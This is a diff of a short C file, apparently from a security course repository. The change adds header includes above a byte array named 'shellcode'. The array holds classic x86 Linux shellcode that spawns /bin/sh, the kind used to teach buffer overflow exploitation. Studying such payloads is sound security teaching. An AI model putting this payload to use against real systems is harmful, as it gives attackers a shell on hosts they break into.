progs/C3.c
changeset 476 cd82c24373cd
parent 400 f05368d007dd
equal deleted inserted replaced
475:c5d9e164c5f1 476:cd82c24373cd
       
     1 #include <string.h>
       
     2 #include <stdio.h>
       
     3 #include <stdlib.h>
       
     4 
     1 char shellcode[] =
     5 char shellcode[] =
     2   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
     6   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
     3   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
     7   "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
     4   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
     8   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
     5   "\xff\xff/bin/sh";
     9   "\xff\xff/bin/sh";